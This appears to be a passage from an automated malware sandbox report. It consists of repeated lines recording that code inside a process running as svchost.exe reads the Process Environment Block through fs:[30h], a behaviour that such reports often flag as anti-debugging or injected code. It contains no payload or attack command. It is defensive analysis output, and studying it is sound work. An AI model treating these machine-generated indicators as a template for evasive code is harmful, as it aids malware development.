Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037402E1 mov eax, dword ptr fs:[00000030h]	8_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037402E1 mov eax, dword ptr fs:[00000030h]	8_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037402E1 mov eax, dword ptr fs:[00000030h]	8_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037402A0 mov eax, dword ptr fs:[00000030h]	8_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037402A0 mov eax, dword ptr fs:[00000030h]	8_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov eax, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov ecx, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov eax, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov eax, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov eax, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C62A0 mov eax, dword ptr fs:[00000030h]	8_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E284 mov eax, dword ptr fs:[00000030h]	8_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E284 mov eax, dword ptr fs:[00000030h]	8_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B0283 mov eax, dword ptr fs:[00000030h]	8_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B0283 mov eax, dword ptr fs:[00000030h]	8_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B0283 mov eax, dword ptr fs:[00000030h]	8_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372C156 mov eax, dword ptr fs:[00000030h]	8_2_0372C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C8158 mov eax, dword ptr fs:[00000030h]	8_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736154 mov eax, dword ptr fs:[00000030h]	8_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736154 mov eax, dword ptr fs:[00000030h]	8_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C4144 mov eax, dword ptr fs:[00000030h]	8_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C4144 mov eax, dword ptr fs:[00000030h]	8_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C4144 mov ecx, dword ptr fs:[00000030h]	8_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C4144 mov eax, dword ptr fs:[00000030h]	8_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C4144 mov eax, dword ptr fs:[00000030h]	8_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03760124 mov eax, dword ptr fs:[00000030h]	8_2_03760124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DA118 mov ecx, dword ptr fs:[00000030h]	8_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DA118 mov eax, dword ptr fs:[00000030h]	8_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DA118 mov eax, dword ptr fs:[00000030h]	8_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DA118 mov eax, dword ptr fs:[00000030h]	8_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_038061E5 mov eax, dword ptr fs:[00000030h]	8_2_038061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F0115 mov eax, dword ptr fs:[00000030h]	8_2_037F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov ecx, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov ecx, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov ecx, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov eax, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE10E mov ecx, dword ptr fs:[00000030h]	8_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037601F8 mov eax, dword ptr fs:[00000030h]	8_2_037601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	8_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	8_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE1D0 mov ecx, dword ptr fs:[00000030h]	8_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	8_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	8_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F61C3 mov eax, dword ptr fs:[00000030h]	8_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F61C3 mov eax, dword ptr fs:[00000030h]	8_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B019F mov eax, dword ptr fs:[00000030h]	8_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B019F mov eax, dword ptr fs:[00000030h]	8_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B019F mov eax, dword ptr fs:[00000030h]	8_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B019F mov eax, dword ptr fs:[00000030h]	8_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A197 mov eax, dword ptr fs:[00000030h]	8_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A197 mov eax, dword ptr fs:[00000030h]	8_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A197 mov eax, dword ptr fs:[00000030h]	8_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03770185 mov eax, dword ptr fs:[00000030h]	8_2_03770185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EC188 mov eax, dword ptr fs:[00000030h]	8_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EC188 mov eax, dword ptr fs:[00000030h]	8_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D4180 mov eax, dword ptr fs:[00000030h]	8_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D4180 mov eax, dword ptr fs:[00000030h]	8_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375C073 mov eax, dword ptr fs:[00000030h]	8_2_0375C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03732050 mov eax, dword ptr fs:[00000030h]	8_2_03732050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B6050 mov eax, dword ptr fs:[00000030h]	8_2_037B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6030 mov eax, dword ptr fs:[00000030h]	8_2_037C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A020 mov eax, dword ptr fs:[00000030h]	8_2_0372A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372C020 mov eax, dword ptr fs:[00000030h]	8_2_0372C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E016 mov eax, dword ptr fs:[00000030h]	8_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E016 mov eax, dword ptr fs:[00000030h]	8_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E016 mov eax, dword ptr fs:[00000030h]	8_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E016 mov eax, dword ptr fs:[00000030h]	8_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4000 mov ecx, dword ptr fs:[00000030h]	8_2_037B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D2000 mov eax, dword ptr fs:[00000030h]	8_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372C0F0 mov eax, dword ptr fs:[00000030h]	8_2_0372C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037720F0 mov ecx, dword ptr fs:[00000030h]	8_2_037720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A0E3 mov ecx, dword ptr fs:[00000030h]	8_2_0372A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037380E9 mov eax, dword ptr fs:[00000030h]	8_2_037380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B60E0 mov eax, dword ptr fs:[00000030h]	8_2_037B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B20DE mov eax, dword ptr fs:[00000030h]	8_2_037B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F60B8 mov eax, dword ptr fs:[00000030h]	8_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F60B8 mov ecx, dword ptr fs:[00000030h]	8_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C80A8 mov eax, dword ptr fs:[00000030h]	8_2_037C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373208A mov eax, dword ptr fs:[00000030h]	8_2_0373208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738770 mov eax, dword ptr fs:[00000030h]	8_2_03738770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740770 mov eax, dword ptr fs:[00000030h]	8_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730750 mov eax, dword ptr fs:[00000030h]	8_2_03730750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BE75D mov eax, dword ptr fs:[00000030h]	8_2_037BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772750 mov eax, dword ptr fs:[00000030h]	8_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772750 mov eax, dword ptr fs:[00000030h]	8_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B4755 mov eax, dword ptr fs:[00000030h]	8_2_037B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376674D mov esi, dword ptr fs:[00000030h]	8_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376674D mov eax, dword ptr fs:[00000030h]	8_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376674D mov eax, dword ptr fs:[00000030h]	8_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376273C mov eax, dword ptr fs:[00000030h]	8_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376273C mov ecx, dword ptr fs:[00000030h]	8_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376273C mov eax, dword ptr fs:[00000030h]	8_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AC730 mov eax, dword ptr fs:[00000030h]	8_2_037AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C720 mov eax, dword ptr fs:[00000030h]	8_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C720 mov eax, dword ptr fs:[00000030h]	8_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03730710 mov eax, dword ptr fs:[00000030h]	8_2_03730710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03760710 mov eax, dword ptr fs:[00000030h]	8_2_03760710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C700 mov eax, dword ptr fs:[00000030h]	8_2_0376C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037347FB mov eax, dword ptr fs:[00000030h]	8_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037347FB mov eax, dword ptr fs:[00000030h]	8_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037527ED mov eax, dword ptr fs:[00000030h]	8_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037527ED mov eax, dword ptr fs:[00000030h]	8_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037527ED mov eax, dword ptr fs:[00000030h]	8_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BE7E1 mov eax, dword ptr fs:[00000030h]	8_2_037BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373C7C0 mov eax, dword ptr fs:[00000030h]	8_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B07C3 mov eax, dword ptr fs:[00000030h]	8_2_037B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037307AF mov eax, dword ptr fs:[00000030h]	8_2_037307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E47A0 mov eax, dword ptr fs:[00000030h]	8_2_037E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D678E mov eax, dword ptr fs:[00000030h]	8_2_037D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03762674 mov eax, dword ptr fs:[00000030h]	8_2_03762674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F866E mov eax, dword ptr fs:[00000030h]	8_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037F866E mov eax, dword ptr fs:[00000030h]	8_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A660 mov eax, dword ptr fs:[00000030h]	8_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A660 mov eax, dword ptr fs:[00000030h]	8_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374C640 mov eax, dword ptr fs:[00000030h]	8_2_0374C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E627 mov eax, dword ptr fs:[00000030h]	8_2_0374E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03766620 mov eax, dword ptr fs:[00000030h]	8_2_03766620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03768620 mov eax, dword ptr fs:[00000030h]	8_2_03768620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373262C mov eax, dword ptr fs:[00000030h]	8_2_0373262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03772619 mov eax, dword ptr fs:[00000030h]	8_2_03772619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE609 mov eax, dword ptr fs:[00000030h]	8_2_037AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	8_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	8_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	8_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	8_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B06F1 mov eax, dword ptr fs:[00000030h]	8_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B06F1 mov eax, dword ptr fs:[00000030h]	8_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A6C7 mov ebx, dword ptr fs:[00000030h]	8_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A6C7 mov eax, dword ptr fs:[00000030h]	8_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037666B0 mov eax, dword ptr fs:[00000030h]	8_2_037666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C6A6 mov eax, dword ptr fs:[00000030h]	8_2_0376C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734690 mov eax, dword ptr fs:[00000030h]	8_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734690 mov eax, dword ptr fs:[00000030h]	8_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376656A mov eax, dword ptr fs:[00000030h]	8_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376656A mov eax, dword ptr fs:[00000030h]	8_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376656A mov eax, dword ptr fs:[00000030h]	8_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738550 mov eax, dword ptr fs:[00000030h]	8_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03738550 mov eax, dword ptr fs:[00000030h]	8_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03740535 mov eax, dword ptr fs:[00000030h]	8_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E53E mov eax, dword ptr fs:[00000030h]	8_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E53E mov eax, dword ptr fs:[00000030h]	8_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E53E mov eax, dword ptr fs:[00000030h]	8_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E53E mov eax, dword ptr fs:[00000030h]	8_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E53E mov eax, dword ptr fs:[00000030h]	8_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037C6500 mov eax, dword ptr fs:[00000030h]	8_2_037C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03804500 mov eax, dword ptr fs:[00000030h]	8_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037325E0 mov eax, dword ptr fs:[00000030h]	8_2_037325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C5ED mov eax, dword ptr fs:[00000030h]	8_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376C5ED mov eax, dword ptr fs:[00000030h]	8_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037365D0 mov eax, dword ptr fs:[00000030h]	8_2_037365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	8_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	8_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E5CF mov eax, dword ptr fs:[00000030h]	8_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E5CF mov eax, dword ptr fs:[00000030h]	8_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037545B1 mov eax, dword ptr fs:[00000030h]	8_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037545B1 mov eax, dword ptr fs:[00000030h]	8_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B05A7 mov eax, dword ptr fs:[00000030h]	8_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B05A7 mov eax, dword ptr fs:[00000030h]	8_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B05A7 mov eax, dword ptr fs:[00000030h]	8_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E59C mov eax, dword ptr fs:[00000030h]	8_2_0376E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03732582 mov eax, dword ptr fs:[00000030h]	8_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03732582 mov ecx, dword ptr fs:[00000030h]	8_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03764588 mov eax, dword ptr fs:[00000030h]	8_2_03764588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375A470 mov eax, dword ptr fs:[00000030h]	8_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375A470 mov eax, dword ptr fs:[00000030h]	8_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375A470 mov eax, dword ptr fs:[00000030h]	8_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037BC460 mov ecx, dword ptr fs:[00000030h]	8_2_037BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372645D mov eax, dword ptr fs:[00000030h]	8_2_0372645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375245A mov eax, dword ptr fs:[00000030h]	8_2_0375245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376E443 mov eax, dword ptr fs:[00000030h]	8_2_0376E443
